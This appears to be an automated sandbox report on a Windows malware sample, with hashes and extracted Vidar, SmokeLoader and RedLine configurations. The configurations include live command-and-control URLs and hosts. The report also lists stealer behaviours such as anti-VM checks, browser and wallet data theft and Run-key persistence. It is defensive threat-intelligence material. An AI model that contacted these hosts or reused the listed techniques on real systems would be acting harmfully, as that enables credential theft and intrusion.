Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 22:06
Static task
static1
Behavioral task
behavioral1
Sample
1A62A7EBF208B538DB86F5BE062DFEE8.exe
Resource
win7v20210408
General
-
Target
1A62A7EBF208B538DB86F5BE062DFEE8.exe
-
Size
2.5MB
-
MD5
1a62a7ebf208b538db86f5be062dfee8
-
SHA1
4152e4b39954716ee2599439524354d620780697
-
SHA256
69e42871ae2cfe22692d5f17fa23b9b315d9f05efd4a5c4a0d89c5922bcbee7d
-
SHA512
47f04de4ee6341eeeb51f4094783fc1e12a404f81cebceed4f8f5f1bf4e52e37c1b396046eb88b4dcf07b8374b97717e45a4cdc10b387ce0889d60caedda4ddc
Malware Config
Extracted
vidar
39.6
933
https://sslamlssa1.tumblr.com/
-
profile_id
933
Extracted
smokeloader
2020
http://conceitosseg.com/upload/
http://integrasidata.com/upload/
http://ozentekstil.com/upload/
http://finbelportal.com/upload/
http://telanganadigital.com/upload/
Extracted
redline
AniNEW
akedauiver.xyz:80
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4144 4044 rUNdlL32.eXe 13 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3432 4044 rUNdlL32.eXe 13 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5300 5236 rUNdlL32.eXe 183 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral2/memory/2704-336-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral2/memory/2704-337-0x0000000000417E1A-mapping.dmp family_redline behavioral2/memory/4168-398-0x0000000000417DE2-mapping.dmp family_redline behavioral2/memory/4168-406-0x0000000005090000-0x0000000005696000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4796 created 4872 4796 WerFault.exe 105 -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1972 created 2264 1972 svchost.exe 153 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Nirsoft 4 IoCs
resource yara_rule behavioral2/memory/4172-308-0x0000000000400000-0x0000000000455000-memory.dmp Nirsoft behavioral2/files/0x000100000001ab66-306.dat Nirsoft behavioral2/files/0x000100000001ab66-305.dat Nirsoft behavioral2/memory/4168-406-0x0000000005090000-0x0000000005696000-memory.dmp Nirsoft -
Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/3820-180-0x0000000002630000-0x00000000026CD000-memory.dmp family_vidar behavioral2/memory/3820-181-0x0000000000400000-0x00000000009EF000-memory.dmp family_vidar -
resource yara_rule behavioral2/files/0x000100000001ab5f-118.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5f-119.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5a-121.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5d-127.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5d-129.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5a-124.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5b-123.dat aspack_v212_v242 behavioral2/files/0x000100000001ab5b-120.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 2848 setup_installer.exe 624 setup_install.exe 3648 arnatic_2.exe 1288 arnatic_7.exe 3820 arnatic_3.exe 1456 arnatic_5.exe 1856 arnatic_4.exe 2168 rundll32.exe 2820 arnatic_6.exe 3588 arnatic_1.exe 2168 rundll32.exe 4200 8575425.exe 4248 4728412.exe 4328 6708600.exe 4448 8854983.exe 4528 jhuuee.exe 4644 OLKbrowser.exe 4776 setup 326.exe 4872 setup.exe 4984 zhangd.exe 5060 WinHoster.exe 5072 winnetdriv.exe 2052 Chrome Update.exe 4172 11111.exe 4720 jfiag3g_gg.exe 4828 zhangd.exe 2704 OLKbrowser.exe 4144 11111.exe 192 jfiag3g_gg.exe 4932 22222.exe 4252 22222.exe 4168 6708600.exe 4516 A4l8oE2nSW9AgZVhWBZdWy7J.exe 4352 KQfisfdolyXiR61ztQ4J4Rs4.exe 3432 bnXuFZ_V4jogGZF7i06fptXr.exe 4824 ZXDQLm6hCeP98sXoh301fiSa.exe 5116 5IqyhPKdMbUX_ZBggyofw05T.exe 3816 4eoqwQ8o552A7Vb0i4Q8aPVL.exe 4720 QxIsXqtJ8wwmehX1XtJ7HGxK.exe 5044 WMl8IllC51ycE9kotVpQsxif.exe 4540 3YjZ7cfhK4892S8nlSUawp32.exe 5040 jN8DwAppdjfKRtyGfwLxgzIL.exe 2264 a6oZjCmUSAZfJyCwEfurrdC5.exe 3540 ngLZxalN1_wRq6hrIcxLJZOA.exe 4476 yN_x518PbsdA0Ja38LBGSOu7.exe 3060 B3b0Y1FMIO52HsneZWYr5ysM.exe 4228 7acm7FKtWdYJ9B2d4BHTtDGe.exe 4560 ngLZxalN1_wRq6hrIcxLJZOA.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 4496 Updater.exe 3740 8_scXCrWoI_9MLe1LcnIH1dC.exe 3064 4eoqwQ8o552A7Vb0i4Q8aPVL.exe 4572 A4l8oE2nSW9AgZVhWBZdWy7J.exe 4448 8_scXCrWoI_9MLe1LcnIH1dC.exe 5104 oEDySmntZ_9Dzy2qDEchgSuO.exe 1684 ngLZxalN1_wRq6hrIcxLJZOA.exe 5144 ngLZxalN1_wRq6hrIcxLJZOA.exe 5912 Acre.exe.com 4852 a6oZjCmUSAZfJyCwEfurrdC5.exe 5188 11111.exe 5392 Acre.exe.com 5840 MicrosoftEdgeCP.exe 4280 1234.exe 3824 TrustedInstaller.exe -
resource yara_rule behavioral2/files/0x000100000001ab72-326.dat upx behavioral2/files/0x000100000001ab72-325.dat upx -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion yN_x518PbsdA0Ja38LBGSOu7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion yN_x518PbsdA0Ja38LBGSOu7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B3b0Y1FMIO52HsneZWYr5ysM.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B3b0Y1FMIO52HsneZWYr5ysM.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url Acre.exe.com File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url Sensitive.exe.com -
Loads dropped DLL 21 IoCs
pid Process 624 setup_install.exe 624 setup_install.exe 624 setup_install.exe 624 setup_install.exe 624 setup_install.exe 3648 arnatic_2.exe 4164 rundll32.exe 2168 rundll32.exe 3820 arnatic_3.exe 3820 arnatic_3.exe 5316 rundll32.exe 4352 KQfisfdolyXiR61ztQ4J4Rs4.exe 4352 KQfisfdolyXiR61ztQ4J4Rs4.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 5832 1579.exe 5832 1579.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe 3848 jN8DwAppdjfKRtyGfwLxgzIL.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\1579.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1579.exe" 1579.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" jhuuee.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 4728412.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1579.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B3b0Y1FMIO52HsneZWYr5ysM.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA yN_x518PbsdA0Ja38LBGSOu7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA WMl8IllC51ycE9kotVpQsxif.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 ipinfo.io 11 ipinfo.io 27 ip-api.com 144 api.ipify.org -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent F468859599EFCF9D svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3060 B3b0Y1FMIO52HsneZWYr5ysM.exe 4476 yN_x518PbsdA0Ja38LBGSOu7.exe -
Suspicious use of SetThreadContext 9 IoCs
description pid Process procid_target PID 2296 set thread context of 4340 2296 svchost.exe 101 PID 4644 set thread context of 2704 4644 OLKbrowser.exe 110 PID 4328 set thread context of 4168 4328 6708600.exe 140 PID 5040 set thread context of 3848 5040 jN8DwAppdjfKRtyGfwLxgzIL.exe 157 PID 3816 set thread context of 3064 3816 cmd.exe 175 PID 4516 set thread context of 4572 4516 22222.exe 172 PID 3540 set thread context of 5104 3540 ngLZxalN1_wRq6hrIcxLJZOA.exe 173 PID 4560 set thread context of 3540 4560 ngLZxalN1_wRq6hrIcxLJZOA.exe 189 PID 4280 set thread context of 5344 4280 1234.exe 239 -
Drops file in Program Files directory 7 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg QxIsXqtJ8wwmehX1XtJ7HGxK.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg QxIsXqtJ8wwmehX1XtJ7HGxK.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat QxIsXqtJ8wwmehX1XtJ7HGxK.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe QxIsXqtJ8wwmehX1XtJ7HGxK.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe QxIsXqtJ8wwmehX1XtJ7HGxK.exe File created C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini QxIsXqtJ8wwmehX1XtJ7HGxK.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe QxIsXqtJ8wwmehX1XtJ7HGxK.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\winnetdriv.exe setup 326.exe File opened for modification C:\Windows\winnetdriv.exe setup 326.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 10 IoCs
pid pid_target Process procid_target 3336 2052 WerFault.exe 4896 4872 WerFault.exe 105 4388 4872 WerFault.exe 105 4660 4872 WerFault.exe 105 1848 4872 WerFault.exe 105 4836 4872 WerFault.exe 105 4796 4872 WerFault.exe 105 4788 4200 WerFault.exe 99 2196 2264 WerFault.exe 153 948 5832 WerFault.exe 233 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI arnatic_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI arnatic_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI arnatic_2.exe -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString arnatic_3.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 KQfisfdolyXiR61ztQ4J4Rs4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString KQfisfdolyXiR61ztQ4J4Rs4.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 1579.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 1579.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 arnatic_3.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 4eoqwQ8o552A7Vb0i4Q8aPVL.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 4eoqwQ8o552A7Vb0i4Q8aPVL.exe -
Delays execution with timeout.exe 4 IoCs
pid Process 4752 timeout.exe 6068 timeout.exe 4716 timeout.exe 5824 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 4176 taskkill.exe 5516 taskkill.exe 2696 taskkill.exe 5844 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root a6oZjCmUSAZfJyCwEfurrdC5.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" a6oZjCmUSAZfJyCwEfurrdC5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" a6oZjCmUSAZfJyCwEfurrdC5.exe -
Modifies registry class 64 IoCs
